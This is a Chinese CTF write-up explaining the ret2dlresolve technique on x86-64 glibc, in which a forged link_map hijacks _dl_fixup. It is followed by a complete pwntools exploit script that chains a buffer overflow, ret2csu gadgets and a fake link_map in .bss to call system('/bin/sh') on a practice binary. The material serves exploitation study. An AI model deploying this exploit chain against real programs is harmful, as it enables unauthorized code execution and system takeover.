这段代码的作用就是在于他伪造了如下图所示的结构在一个我们可以控制的地方:
我们来分析一下,如果我们能够在程序的一个地址上写入这段代码,并且我们可以让程序跳转调用_dl_fixup函数的话,那么我们就可以控制函数的执行流,让其执行我们希望他执行的函数。
具体执行流程如下:
1._dl_fixup接受两个参数,一个是我们伪造的fake_link_map的地址,一个是关于PLT重定位的索引值0。
2.开始_dl_fixup函数内部处理,将symtab,strtab,reloc赋值:
根据上面提到的link_map的结构体中的l_info部分、_fix_up函数内的宏操作和d_tag关键字:
我们不难得到symtab,strtab,reloc的赋值
symtab = (l)->l_info[6]->d_un.d_ptr = 0x404010
strtab = (l)->l_info[5]->d_un.d_ptr = 0
reloc = (l)->l_info[23]->d_un.d_ptr + reloc_offset = 0x404398
再来看看下面的赋值情况:
得到sym,rel_addr的值:
sym = ELF64_R_SYM(reloc->r_info) = 0x404010 + 0 = 0x404010
rel_addr = fake_link_map_addr - offset + offset = 0x404380
这个时候sym的值就被放在了已经解析的函数的got表-8的地方,这样sym->st_value就被解析为一个已经解析过的函数的真实地址。
之后经过两个判断:
成功跳转到else分支
将value赋值为sym->st_value+offset,最终执行到我们希望执行的函数。
例题
这里结合一道例题去加深一下理解,题目链接放在文末
主函数很简单,就是给了一个很大的溢出,没有输出函数,所以我们先想到利用溢出修改返回地址,能够将我们伪造的link_map输出到bss段上,那么再利用jmp_dl指令强行跳转到fixup函数执行即可。
详细exp如下;
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p = remote('ctf.qwq.cc', 10112)
p= process("./dlresolve")
elf = ELF("./dlresolve")
libc = ELF("./libc-2.23.so")
'''
patchelf --set-interpreter /opt/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./patchelf
patchelf --replace-needed libc.so.6 /opt/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./patchelf
ROPgadget --binary main --only "pop|ret" | grep rdi
'''
def gdbbug():
#gdb.attach(p)
gdb.attach(p,"add-symbol-file /home/mazhatter/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/.debug/lib/x86_64-linux-gnu/libc-2.23.so")
pause()
# 传参分别为:伪造的link_map地址、在got表中存在函数地址的got地址、libc中system的地址、第二个参数对应的函数在libc中的地址
def get_ret2dl_data(fake_link_map_addr, got_solved_addr, system_base, solved_base):
offset = system_base - solved_base
fake_Elf64_Dyn = b""
fake_Elf64_Dyn += p64(0) # d_tag 从link_map中找.rel.plt不需要用到标签, 随意设置
fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18) # d_ptr 指向伪造的Elf64_Rela结构体,由于reloc_offset也被控制为0,不需要伪造多个结构体
fake_Elf64_Rela = b""
fake_Elf64_Rela += p64(
fake_link_map_addr - offset) # r_offset rel_addr = l->addr+reloc_offset,直接指向fake_link_map所在位置令其可读写就行,offset为指向的需要的函数距离可得真实地址的函数的偏移
fake_Elf64_Rela += p64(7) # r_info index设置为0,最后一字节必须为7
fake_Elf64_Rela += p64(0) # r_addend 随意设置
fake_Elf64_Sym = b""
fake_Elf64_Sym += p32(0) # st_name 随意设置
fake_Elf64_Sym += b'AAAA' # st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支
fake_Elf64_Sym += p64(got_solved_addr - 8) # st_value 已解析函数的got表地址-8,-8体现在汇编代码中,原因不明
fake_Elf64_Sym += p64(0) # st_size 随意设置
fake_link_map_data = b""
# 如果offset为负数使用补码
if offset < 0:
fake_link_map_data += p64(2 ** 64 + offset) # l_addr,伪造为两个函数的地址偏移值的补码(为负时)
else:
fake_link_map_data += p64(offset) # l_addr,伪造为两个函数的地址偏移值
fake_link_map_data += fake_Elf64_Dyn
fake_link_map_data += fake_Elf64_Rela
fake_link_map_data += fake_Elf64_Sym
fake_link_map_data += b'\x00' * 0x20
fake_link_map_data += p64(fake_link_map_addr) # DT_STRTAB 设置为一个可读的地址
fake_link_map_data += p64(fake_link_map_addr + 0x30) # DT_SYMTAB 指向对应结构体数组的地址
fake_link_map_data += b"/bin/sh\x00"
fake_link_map_data += b'\x00' * 0x78
fake_link_map_data += p64(fake_link_map_addr + 0x8) # DT_JMPREL 指向对应数组结构体的地址
return fake_link_map_data
power_rop1=0x000000000040119E # csu1
power_rop2=0x0000000000401188 # csu2
def getpower(avg1,avg2,avg3,func_addr):
payload=p64(power_rop1)+p64(0)+p64(0)+p64(1)+p64(avg1)+p64(avg2)+p64(avg3)+p64(func_addr)
payload+=p64(power_rop2)+p64(0)*7#为什么是7呢,因为虽然只有6个pop但是上面还有个rsp+8
return payload
bss_addr = 0x000000000404030
fake_link_map_addr = bss_addr + 0x350
fake_link_map_data = get_ret2dl_data(fake_link_map_addr, elf.got['read'], libc.symbols['system'], libc.symbols['read'])
offset = 0x108
jmp_dl=0x401026
pop_rdi=0x00000000004011ab
rop=ROP('./dlresolve')
rop.raw(offset*b'\x00')
rop.raw(getpower(0,fake_link_map_addr,len(fake_link_map_data),elf.got["read"]))
rop.raw(0x401122)
#rop.raw(b"\x00"*(256-len(rop.chain())))
payload1 = rop.chain()
#gdbbug()
p.sendline(payload1)
p.send(fake_link_map_data)
gdbbug()
rop = ROP('./dlresolve')
rop.raw(offset*b'\x00')
rop.raw(pop_rdi)
rop.raw(fake_link_map_addr+0x78) # /bin/sh的位置
rop.raw(jmp_dl) # 用jmp跳转到_dl_fixup
rop.raw(fake_link_map_addr) #
rop.raw(0) # 伪造的reloc_offset
payload2 = rop.chain()
p.sendline(payload2)
p.interactive()
题目链接:
链接:https://pan.baidu.com/s/1h0OMUN_fIGOm2B-NYS6LgA?pwd=1111
提取码:1111
--来自百度网盘超级会员V4的分享